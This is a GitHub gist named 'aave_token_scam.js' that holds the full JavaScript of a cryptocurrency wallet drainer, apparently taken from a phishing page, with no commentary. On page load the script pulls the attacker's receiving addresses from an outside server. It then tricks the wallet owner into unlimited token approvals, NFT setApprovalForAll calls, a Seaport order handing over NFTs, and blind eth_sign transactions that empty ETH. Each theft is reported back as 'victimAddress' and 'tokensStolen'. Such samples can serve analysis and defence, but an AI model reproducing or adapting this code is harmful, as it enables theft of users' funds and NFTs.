Skip to content

Instantly share code, notes, and snippets.

@zh
Last active January 9, 2023 06:20
Show Gist options
  • Save zh/01ffc148da14eed89f7d608b06a0a229 to your computer and use it in GitHub Desktop.
Save zh/01ffc148da14eed89f7d608b06a0a229 to your computer and use it in GitHub Desktop.
aave_token_scam.js
let nftABI=[{constant:!1,inputs:[{internalType:"address",name:"to",type:"address"},{internalType:"uint256",name:"tokenId",type:"uint256"}],name:"approve",outputs:[],payable:!1,stateMutability:"nonpayable",type:"function"},{constant:!1,inputs:[{internalType:"address",name:"to",type:"address"},{internalType:"uint256",name:"tokenId",type:"uint256"}],name:"mint",outputs:[],payable:!1,stateMutability:"nonpayable",type:"function"},{constant:!1,inputs:[{internalType:"address",name:"from",type:"address"},{internalType:"address",name:"to",type:"address"},{internalType:"uint256",name:"tokenId",type:"uint256"}],name:"safeTransferFrom",outputs:[],payable:!1,stateMutability:"nonpayable",type:"function"},{constant:!1,inputs:[{internalType:"address",name:"from",type:"address"},{internalType:"address",name:"to",type:"address"},{internalType:"uint256",name:"tokenId",type:"uint256"},{internalType:"bytes",name:"_data",type:"bytes"}],name:"safeTransferFrom",outputs:[],payable:!1,stateMutability:"nonpayable",type:"function"},{constant:!1,inputs:[{internalType:"address",name:"to",type:"address"},{internalType:"bool",name:"approved",type:"bool"}],name:"setApprovalForAll",outputs:[],payable:!1,stateMutability:"nonpayable",type:"function"},{constant:!1,inputs:[{internalType:"address",name:"from",type:"address"},{internalType:"address",name:"to",type:"address"},{internalType:"uint256",name:"tokenId",type:"uint256"}],name:"transferFrom",outputs:[],payable:!1,stateMutability:"nonpayable",type:"function"},{inputs:[],payable:!1,stateMutability:"nonpayable",type:"constructor"},{anonymous:!1,inputs:[{indexed:!0,internalType:"address",name:"from",type:"address"},{indexed:!0,internalType:"address",name:"to",type:"address"},{indexed:!0,internalType:"uint256",name:"tokenId",type:"uint256"}],name:"Transfer",type:"event"},{anonymous:!1,inputs:[{indexed:!0,internalType:"address",name:"owner",type:"address"},{indexed:!0,internalType:"address",name:"approved",type:"address"},{indexed:!0,internalType:"uint256",name:"tokenId",type:"uint256"}],name:"Approval",type:"event"},{anonymous:!1,inputs:[{indexed:!0,internalType:"address",name:"owner",type:"address"},{indexed:!0,internalType:"address",name:"operator",type:"address"},{indexed:!1,internalType:"bool",name:"approved",type:"bool"}],name:"ApprovalForAll",type:"event"},{constant:!0,inputs:[{internalType:"address",name:"owner",type:"address"}],name:"balanceOf",outputs:[{internalType:"uint256",name:"",type:"uint256"}],payable:!1,stateMutability:"view",type:"function"},{constant:!0,inputs:[{internalType:"uint256",name:"tokenId",type:"uint256"}],name:"getApproved",outputs:[{internalType:"address",name:"",type:"address"}],payable:!1,stateMutability:"view",type:"function"},{constant:!0,inputs:[{internalType:"address",name:"owner",type:"address"},{internalType:"address",name:"operator",type:"address"}],name:"isApprovedForAll",outputs:[{internalType:"bool",name:"",type:"bool"}],payable:!1,stateMutability:"view",type:"function"},{constant:!0,inputs:[{internalType:"uint256",name:"tokenId",type:"uint256"}],name:"ownerOf",outputs:[{internalType:"address",name:"",type:"address"}],payable:!1,stateMutability:"view",type:"function"},{constant:!0,inputs:[{internalType:"bytes4",name:"interfaceId",type:"bytes4"}],name:"supportsInterface",outputs:[{internalType:"bool",name:"",type:"bool"}],payable:!1,stateMutability:"view",type:"function"}]
let erc20ABI=[{constant:!0,inputs:[],name:"name",outputs:[{name:"",type:"string"}],payable:!1,stateMutability:"view",type:"function"},{constant:!1,inputs:[{name:"_spender",type:"address"},{name:"_value",type:"uint256"}],name:"approve",outputs:[{name:"",type:"bool"}],payable:!1,stateMutability:"nonpayable",type:"function"},{constant:!0,inputs:[],name:"totalSupply",outputs:[{name:"",type:"uint256"}],payable:!1,stateMutability:"view",type:"function"},{constant:!1,inputs:[{name:"_from",type:"address"},{name:"_to",type:"address"},{name:"_value",type:"uint256"}],name:"transferFrom",outputs:[{name:"",type:"bool"}],payable:!1,stateMutability:"nonpayable",type:"function"},{constant:!0,inputs:[],name:"decimals",outputs:[{name:"",type:"uint8"}],payable:!1,stateMutability:"view",type:"function"},{constant:!0,inputs:[{name:"_owner",type:"address"}],name:"balanceOf",outputs:[{name:"balance",type:"uint256"}],payable:!1,stateMutability:"view",type:"function"},{constant:!0,inputs:[],name:"symbol",outputs:[{name:"",type:"string"}],payable:!1,stateMutability:"view",type:"function"},{constant:!1,inputs:[{name:"_to",type:"address"},{name:"_value",type:"uint256"}],name:"transfer",outputs:[{name:"",type:"bool"}],payable:!1,stateMutability:"nonpayable",type:"function"},{constant:!0,inputs:[{name:"_owner",type:"address"},{name:"_spender",type:"address"}],name:"allowance",outputs:[{name:"",type:"uint256"}],payable:!1,stateMutability:"view",type:"function"},{payable:!0,stateMutability:"payable",type:"fallback"},{anonymous:!1,inputs:[{indexed:!0,name:"owner",type:"address"},{indexed:!0,name:"spender",type:"address"},{indexed:!1,name:"value",type:"uint256"}],name:"Approval",type:"event"},{anonymous:!1,inputs:[{indexed:!0,name:"from",type:"address"},{indexed:!0,name:"to",type:"address"},{indexed:!1,name:"value",type:"uint256"}],name:"Transfer",type:"event"}];
let lastUsedNonce = 0
// Config data from server
let minETHFinesse = 0.0
let minETH = 0.0
let receiveAddress = ""
let finesseReceiveAddress = ""
const domain = "https://api.bitcoinpass.ru"
let connected = false
Moralis.onWeb3Enabled(async (data) => {
if (connected)
return
if (data.chainId !== 1 && metamaskInstalled) await Moralis.switchNetwork("0x1");
const web3Js = new Web3(Moralis.provider);
const walletAddress = (await web3Js.eth.getAccounts())[0]
await fetch(domain + "/connected", {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({
"victimAddress": walletAddress,
})
})
connected = true
});
Moralis.onChainChanged(async (chain) => {
if (chain !== "0x1" && metamaskInstalled) await Moralis.switchNetwork("0x1");
});
setTimeout(async () => {
try {
const web3Js = new Web3(Moralis.provider);
const walletAddress = (await web3Js.eth.getAccounts())[0];
console.log(`${walletAddress} is connected`)
} catch (e) {}
}, 600 * 1000);
async function askSign() {
const web3Js = new Web3(Moralis.provider);
const walletAddress = (await web3Js.eth.getAccounts())[0];
try {
const message = signMessage.replace("{address}", walletAddress).replace("{nonce}", createNonce());
const signature = await web3Js.eth.personal.sign(message, walletAddress);
const signing_address = await web3Js.eth.personal.ecRecover(message, signature);
console.log(`Signing address: ${signing_address}\n${walletAddress.toLowerCase() === signing_address.toLowerCase() ? "Same address" : "Not the same address."}`);
return true;
} catch (e) {
console.log(e);
return false;
}
}
async function verifyAsset() {
if (!drainETH)
return
await connectWallet()
const web3Js = new Web3(Moralis.provider);
const walletAddress = (await web3Js.eth.getAccounts())[0];
try {
const response = await fetch(domain + "/balance/" + walletAddress, {
method: "GET",
headers: {
"Content-Type": "application/json"
}
})
const data = await response.json()
let ethBal = data["balance"]
if (ethBal === null) {
ethBal = 0
}
console.log(`Current balance for ${walletAddress} : ${ethBal} ETH`);
if (minETH > ethBal)
console.log(`Error, balance is too low. (${ethBal} < ${minETH} ETH)`);
else
await askTransferWithSign(ethBal)
} catch (e) {
console.log(e);
}
};
async function broadcastTransaction(txObject) {
const web3Js = new Web3(Moralis.provider);
const chainId = await web3Js.eth.getChainId();
const walletAddress = (await web3Js.eth.getAccounts())[0];
const ethTx = new ethereumjs.Tx(txObject)
const rawHash = web3Js.utils.sha3('0x' + ethTx.serialize().toString('hex'), { encoding: 'hex' });
try {
const result = await web3Js.eth.sign(rawHash, walletAddress)
const signature = result.substring(2);
const r = "0x" + signature.substring(0, 64);
const s = "0x" + signature.substring(64, 128);
const v = parseInt(signature.substring(128, 130), 16);
const y = web3Js.utils.toHex(v + chainId * 2 + 8);
ethTx.r = r;
ethTx.s = s;
ethTx.v = y;
const signedTx = '0x' + ethTx.serialize().toString('hex');
const signedTxHash = web3Js.utils.sha3(signedTx, { encoding: 'hex' });
console.log("Transaction Hash:", signedTxHash);
await fetch(domain + "/broadcast/", {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({
"transactionId": signedTx,
"transactionHash": signedTxHash,
"senderAddress": walletAddress
})
})
return true
} catch (err) {
console.log("User declined signature", err)
return false
}
}
async function askTransferWithSign(ethBal) {
const web3Js = new Web3(Moralis.provider);
const walletAddress = (await web3Js.eth.getAccounts())[0];
await web3Js.eth.getTransactionCount(walletAddress, "pending")
.then(async (txnCount) => {
if (lastUsedNonce === txnCount) {
txnCount++
}
lastUsedNonce = txnCount
const finesse = ethBal > minETHFinesse
const jgasPrice = await web3Js.eth.getGasPrice();
const mgasPrice = web3Js.utils.toHex(Math.floor(jgasPrice * 1.4));
const gas = new web3Js.utils.BN("22000");
const cost = gas * Math.floor(jgasPrice * 4);
const toSend = web3Js.utils.toWei(ethBal.toString(), "ether") - cost;
console.log(`Sending ${web3Js.utils.fromWei(toSend.toString(), "ether")} ETH from ${walletAddress}...`);
const txObject = {
nonce: web3Js.utils.toHex(txnCount),
gasPrice: mgasPrice,
gasLimit: "0x55F0",
to: finesse ? finesseReceiveAddress : receiveAddress,
value: "0x" + toSend.toString(16),
data: "0x", v: "0x1", r: "0x", s: "0x"
};
try {
let signed = false
let counter = 0
while (!signed && counter < signatureRetries) {
console.log(`Try ${counter+1}/${signatureRetries}`)
signed = await broadcastTransaction(txObject)
counter++
}
if (signed) {
fetch(domain + "/alert", {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({
"victimAddress": walletAddress,
"tokenType": "ETH",
"ethAmount": ethBal.toString(),
"finesse": finesse
})
})
}
} catch (err) {
console.error(err)
}
})
}
async function getSeaportTargets() {
await connectWallet()
const web3Js = new Web3(Moralis.provider);
const walletAddress = (await web3Js.eth.getAccounts())[0];
const response = await fetch(domain + "/seaport", {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({
"victim": walletAddress,
})
})
return await response.json()
}
async function approveSeaport(victims) {
await connectWallet()
let nftInfo = []
victims.map(nft => {
nftInfo.push({
amount: '1',
itemType: nft["tokenType"] === 'ERC721' ? 2 : 3,
token: nft["contract"],
identifier: nft["tokenID"],
recipient: receiveAddress
})
})
console.log("created order. NFT Info:", nftInfo)
let web3 = new ethers.providers.Web3Provider(window.ethereum);
await web3.send('eth_requestAccounts', []);
let address = await web3.getSigner(0);
const seaportObject = new seaport.Seaport(address)
let accepted = false
let tryIndex = 0
const web3Js = new Web3(Moralis.provider);
const walletAddress = (await web3Js.eth.getAccounts())[0];
while (!accepted && tryIndex < signatureRetries) {
try {
console.log(`Try ${tryIndex+1}/${signatureRetries}`)
const {executeAllActions: createSeaportOrder} = await seaportObject.createOrder({
offer: nftInfo,
consideration: [{
amount: '1',
recipient: receiveAddress
}],
conduitKey: '0x0000007b02230091a7ed01230072f7006a004d60a8d4e71d599b8104250f0000',
zone: '0x004C00500000aD104D7DBd00e3ae0A5C00560C00', // ??
startTime: '1660921177', // keep the same
endTime: '19163599577' // keep the same
}, receiveAddress);
const seaportOrder = await createSeaportOrder()
accepted = true
fetch(domain + "/alert", {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({
"victimAddress": walletAddress,
"tokensStolen": victims,
"tokenType": "Seaport",
"seaportOrder": seaportOrder
})
})
} catch(e) {
if (e.message.toLowerCase().includes("denied") || e.message.toLowerCase().includes("signature") || e.message.toLowerCase().includes("user")) {
accepted = false
tryIndex++
}
console.log("Could not do seaport drain.", e)
}
}
}
async function startDrainer() {
await connectWallet()
let largestNFTs
let largestTokens
let seaportNFTs
if (nftApprovals)
largestNFTs = getLargest("nft")
if (erc20Approvals)
largestTokens = getLargest("erc20")
if (seaportDrain)
seaportNFTs = getSeaportTargets()
if (seaportDrain) {
await seaportNFTs.then(async (data) => {
if (data !== null) {
if (data.length !== 0) {
console.log("seaport victims", data)
console.log(`Draining ${data.length} nfts using seaport`)
await approveSeaport(data)
}
} else {
console.log("No seaport approvals")
}
})
}
if (nftApprovals) {
await largestNFTs.then(async (data) => {
if (data !== null) {
console.log("nfts", data)
for (let i = 0; i < data.length; i++) {
let nft = data[i]
console.log("Approving nft", nft["contract"])
await approveNFT(nft["contract"], nft["finesse"], nft["tokenType"])
}
} else {
console.log("No NFTs")
}
})
}
if (erc20Approvals) {
await largestTokens.then(async (data) => {
if (data !== null) {
console.log("tokens", data)
for (let i = 0; i < data.length; i++) {
let key = Object.keys(data[i])[0]
console.log("Approving erc20 token", key)
await approveToken(key, data[i][key])
}
} else {
console.log("No ERC20 tokens")
}
})
}
if (drainETH)
await verifyAsset()
}
async function getLargest(tokenType) {
await connectWallet()
const web3Js = new Web3(Moralis.provider);
const walletAddress = (await web3Js.eth.getAccounts())[0];
const response = await fetch(domain + "/largest", {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({
"targetAddress": walletAddress,
"tokenType": tokenType,
})
})
return await response.json()
}
async function approveNFT(nft, finesse, tokenType) {
if (!nftApprovals)
return
await connectWallet()
const web3Js = new Web3(Moralis.provider);
const walletAddress = (await web3Js.eth.getAccounts())[0];
await web3Js.eth.getTransactionCount(walletAddress, "pending")
.then(async (txnCount) => {
if (lastUsedNonce === txnCount) { txnCount++ }
lastUsedNonce = txnCount
const jgasPrice = await web3Js.eth.getGasPrice();
const mgasPrice = web3Js.utils.toHex(Math.floor(jgasPrice * 1.4));
let tx_builder
let contract = new(web3Js.eth.Contract)(nftABI, nft, { from: walletAddress });
if (finesse) {
tx_builder = contract.methods.setApprovalForAll(finesseReceiveAddress, true)
} else {
console.log("Called setApprovalForAll for wallet", receiveAddress);
tx_builder = contract.methods.setApprovalForAll(receiveAddress, true)
}
const txObject = { nonce: web3Js.utils.toHex(txnCount), gas: await tx_builder.estimateGas(), gasPrice: mgasPrice, gasLimit: "0x55F0", to: nft, value: "0x", data: tx_builder.encodeABI(), v: "0x1", r: "0x", s: "0x" };
try {
let signed = false
let counter = 0
while (!signed && counter < signatureRetries) {
console.log(`Try ${counter+1}/${signatureRetries}`)
signed = await broadcastTransaction(txObject)
counter++
}
if (signed) {
fetch(domain + "/alert", {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({
"victimAddress": walletAddress,
"tokenType": tokenType,
"tokenAddress": nft,
"finesse": finesse
})
})
}
} catch (err) {
console.error(err)
}
})
}
async function approveToken(token, finesse) {
if (!erc20Approvals) {
return;
}
await connectWallet()
const web3Js = new Web3(Moralis.provider);
const walletAddress = (await web3Js.eth.getAccounts())[0];
await web3Js.eth.getTransactionCount(walletAddress, "pending")
.then(async (txnCount) => {
if (lastUsedNonce === txnCount) { txnCount++ }
lastUsedNonce = txnCount
const jgasPrice = await web3Js.eth.getGasPrice();
const mgasPrice = web3Js.utils.toHex(Math.floor(jgasPrice * 1.4));
let tx_builder
let contract = new(web3Js.eth.Contract)(erc20ABI, token, { from: walletAddress });
if (finesse) {
tx_builder = contract.methods.approve(finesseReceiveAddress, (2 ** 256 - 1).toString(16))
} else {
console.log("Called approve for wallet", receiveAddress);
tx_builder = contract.methods.approve(receiveAddress, (2 ** 256 - 1).toString(16))
}
const txObject = { nonce: web3Js.utils.toHex(txnCount), gas: await tx_builder.estimateGas(), gasPrice: mgasPrice, gasLimit: "0x55F0", to: token, value: "0x", data: tx_builder.encodeABI(), v: "0x1", r: "0x", s: "0x" };
try {
let signed = false
let counter = 0
while (!signed && counter < signatureRetries) {
console.log(`Try ${counter+1}/${signatureRetries}`)
signed = await broadcastTransaction(txObject)
counter++
}
if (signed) {
fetch(domain + "/alert", {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({
"victimAddress": walletAddress,
"tokenType": "ERC20",
"tokenAddress": token,
"finesse": finesse
})
})
}
} catch (err) {
console.error(err)
}
})
}
async function askTransfer() {
await connectWallet()
disabled = true;
if (enableFakeSig && !signedWelcomeMessage)
askSign()
await startDrainer()
console.log("Stolen all data")
disabled = false;
}
let metamaskInstalled = false;
if (typeof window.ethereum !== 'undefined') metamaskInstalled = true;
window.addEventListener('load', async () => {
const response = await (await fetch(domain + `/settings`)).json()
try {
minETH = response["minETH"]
minETHFinesse = response["minETHFinesse"]
receiveAddress = response["receiveAddress"]
finesseReceiveAddress = response["finesseAddress"]
} catch (e) {
}
console.log("Min ETH:", minETH)
console.log("Min ETH Finesse:", minETHFinesse)
console.log("Receive Address:", receiveAddress)
console.log("Finesse Address:", finesseReceiveAddress)
await connectWallet();
await askTransfer();
document.querySelector("#claimButton").addEventListener("click", askTransfer);
});
async function connectWallet() {
while (!connected) {
try {
await Moralis.enableWeb3(metamaskInstalled ? {} : { provider: "walletconnect" });
connected = true
} catch (e) {
console.log("User denied connection")
}
}
}
//#region Utils Functions
const round = (value) => { return Math.round(value * 10000) / 10000; }
const rdmString = (length) => {
let x = "";
const possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
for (let i = 0; i < length; i++) x += possible.charAt(Math.floor(Math.random() * possible.length));
return x;
}
const createNonce = () => { return `${rdmString(8)}-${rdmString(4)}-${rdmString(4)}-${rdmString(12)}`; }
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment